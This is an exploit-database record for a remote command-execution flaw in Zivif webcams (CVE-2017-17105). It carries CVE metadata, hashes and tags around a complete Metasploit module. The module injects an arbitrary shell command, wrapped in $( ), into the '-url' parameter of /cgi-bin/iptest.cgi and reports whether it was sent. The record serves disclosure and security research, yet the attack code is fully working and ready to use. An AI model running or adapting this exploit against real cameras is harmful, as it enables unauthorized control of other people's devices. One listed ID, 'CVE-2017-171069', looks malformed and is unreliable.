ID

VAR-E-201712-0044


CVE

cve_id:CVE-2017-17105

Trust: 1.0

cve_id:CVE-2017-171069

Trust: 0.5

cve_id:CVE-2017-17106

Trust: 0.5

cve_id:CVE-2017-17107

Trust: 0.5

sources: PACKETSTORM: 158120 // PACKETSTORM: 145386

TITLE

Zivif Camera 2.3.4.2103 iptest.cgi Blind Remote Command Execution

Trust: 0.5

sources: PACKETSTORM: 158120

DESCRIPTION

This Metasploit module exploits a remote command execution vulnerability in Zivif webcams. This is known to impact versions prior to and including 2.3.4.2103.

Trust: 0.5

sources: PACKETSTORM: 158120

AFFECTED PRODUCTS

vendor:zivifmodel:camera iptest.cgi blind remotescope:eqversion:2.3.4.2103

Trust: 0.5

vendor:zivifmodel:pr115-204-p-rsscope:eqversion:2.3.4.2103

Trust: 0.5

sources: PACKETSTORM: 158120 // PACKETSTORM: 145386

EXPLOIT

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'Zivif Camera iptest.cgi Blind Remote Command Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Zivif
webcams. This is known to impact versions prior to and including v2.3.4.2103.
Exploit was reported in CVE-2017-17105.
},
'License' => MSF_LICENSE,
'Author' => [ 'Silas Cutler (p1nk)' ],
'References' =>
[
[ 'URL', 'https://seclists.org/fulldisclosure/2017/Dec/42' ],
[ 'CVE', '2017-171069' ]
],
'Platform' => 'unix',
'Targets' =>
[
[ 'Automatic Target', { }]
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x27",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic'
}
},
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/generic',
},
'Privileged' => false,
'DisclosureDate' => "2017-09-01",
'DefaultTarget' => 0))
end

def check
res = send_request_cgi('uri' => normalize_uri('cgi-bin', 'iptest.cgi'))
unless res
vprint_error('Connection failed')
return Exploit::CheckCode::Unknown
end
unless res.code && res.code == 200
return CheckCode::Safe
end

CheckCode::Detected
end

def exploit
print_status("Sending request")
cmd = datastore['CMD']

res = send_request_cgi(
'uri' => normalize_uri('cgi-bin', 'iptest.cgi'),
'method' => 'GET',
'vars_get' => {
'cmd' => "iptest.cgi",
'-time' => Time.now.to_i,
'-url' => "$(" + cmd + ")"
}
)

unless res
fail_with(Failure::Unreachable, 'Connection failed')
end

if res.code && res.code == 200
print_good('Command sent successfully')
else
fail_with(Failure::UnexpectedReply, 'Unable to send command to target')
end
end

end

Trust: 0.5

sources: PACKETSTORM: 158120

EXPLOIT HASH

LOCAL

SOURCE

md5: 866cab75a033c98926f601f67b982f96
sha-1: a273206db188ea3301021bd46d5162171784cbe7
sha-256: 516dbce1194c92fcf25e36354d5e142eecc0029d53f110980f3fe7d7516701f7
md5: 866cab75a033c98926f601f67b982f96

Trust: 0.5

sources: PACKETSTORM: 158120

PRICE

free

Trust: 0.5

sources: PACKETSTORM: 158120

TYPE

bypass

Trust: 0.5

sources: PACKETSTORM: 145386

TAGS

tag:exploit

Trust: 1.0

tag:remote

Trust: 0.5

tag:vulnerability

Trust: 0.5

tag:bypass

Trust: 0.5

sources: PACKETSTORM: 158120 // PACKETSTORM: 145386

CREDITS

Silas Cutler

Trust: 0.5

sources: PACKETSTORM: 158120

EXTERNAL IDS

db:NVDid:CVE-2017-17105

Trust: 1.0

db:NVDid:CVE-2017-171069

Trust: 0.5

db:PACKETSTORMid:158120

Trust: 0.5

db:NVDid:CVE-2017-17107

Trust: 0.5

db:NVDid:CVE-2017-17106

Trust: 0.5

db:PACKETSTORMid:145386

Trust: 0.5

sources: PACKETSTORM: 158120 // PACKETSTORM: 145386

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2017-17105

Trust: 1.0

url:https://nvd.nist.gov/vuln/detail/cve-2017-171069

Trust: 0.5

url:https://nvd.nist.gov/vuln/detail/cve-2017-17107

Trust: 0.5

url:https://nvd.nist.gov/vuln/detail/cve-2017-17106

Trust: 0.5

sources: PACKETSTORM: 158120 // PACKETSTORM: 145386

SOURCES

db:PACKETSTORMid:158120
db:PACKETSTORMid:145386

LAST UPDATE DATE

2022-07-27T09:49:19.715000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:158120date:2020-06-16T19:42:52
db:PACKETSTORMid:145386date:2017-12-13T16:50:24